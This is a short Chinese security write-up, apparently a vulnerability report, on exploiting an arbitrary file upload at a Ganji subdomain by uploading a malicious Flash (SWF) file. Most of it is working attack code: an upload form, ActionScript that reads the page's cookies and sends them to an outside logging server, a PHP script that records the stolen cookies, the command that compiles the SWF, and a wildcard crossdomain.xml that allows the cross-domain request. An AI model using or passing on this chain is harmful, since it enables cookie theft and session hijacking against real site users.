| 0x001 起因 凑巧发现赶集某处的任意文件上传。可以上传txt,swf,但是测试发现无法上传其他文件,如:php,jsp等脚本文件(就算上传上去也解析不了,谁让人家是图片备份站呢....) 0x002 简单测试复制代码<form id="Upload" enctype="multipart/form-data" action="http://xxx.ganji.com/xxx.php" method="post"> Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form>
 之前有在乌云看到过,swf 导致xss 。于是乎,我上传了一个有xss 漏洞的swf 。还可以上传txt进行涂鸦。
 
 0x003 利用
 查看了下赶集的crossdomain,既然我们有xss,那是不是可以玩Flash跨域? 参考:[url=]WooYun: 腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)[/url]
 
 照抄他的AS代码: 复制代码package 
{
    import flash.display.*;
    import flash.external.*;
    import flash.net.*;
    
    public class csrf extends flash.display.Sprite
    {
        public function csrf()
        {
            super();
            var loc1:*=flash.external.ExternalInterface.call("function(){return document.cookie;}");
            this.doGet(loc1);
            return;
        }
        internal function doGet(arg1:String):void
        {
            var res:String;
            var target:String;
            var request:flash.net.URLRequest;
            var loc1:*;
            res = arg1;
            this.loader = new flash.net.URLLoader();
            target = "http://203.124.xxx.xxx/get.php?get=" + res;
            request = new flash.net.URLRequest(target);
            try 
            {
                this.loader.load(request);
            }
            catch (error:Error)
            {
                sendDatatoJS("Error: " + error.getStackTrace());
            }
            return;
        }
        internal function sendDatatoJS(arg1:String):void
        {
            trace(arg1);
            flash.external.ExternalInterface.call("colsole.log", arg1);
            return;
        }
        internal var loader:flash.net.URLLoader;
    }
}
随手写一个get.php,用于记录cookie。 复制代码<?php
    $cookie    = $_GET["get"];
    $txt    = "cookie.txt";//保存的文件
    $file   = fopen($txt,"a+");//读写方式打开
    fwrite($file, ' Cookie:'.$cookie.' Date and Time: ' .date("Y-m-d H:i:s",time())."\r\n \r\n \r\n \r"); //写入
    fclose($file);//释放
?>
命令行下直接编译as文件为swf的方法 复制代码C:\Program Files\Adobe\Adobe Flash Builder 4\sdks\4.0.0\bin>mxmlc C:\Users\aw\Desktop\CgEHF1bLE0TDRyd2AAADsZZ8Qy4827.swf_as\csrf.as
编译生成,然后上传 访问后发现,swf会自行再访问crossdomain.xml。访问http://203.124.xx.xx/crossdomain.xml这个文件然而返回了403.于是乎写了个crossdomain.xml上传到服务器 复制代码<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
再次访问,便可以收到cookies了。 
 |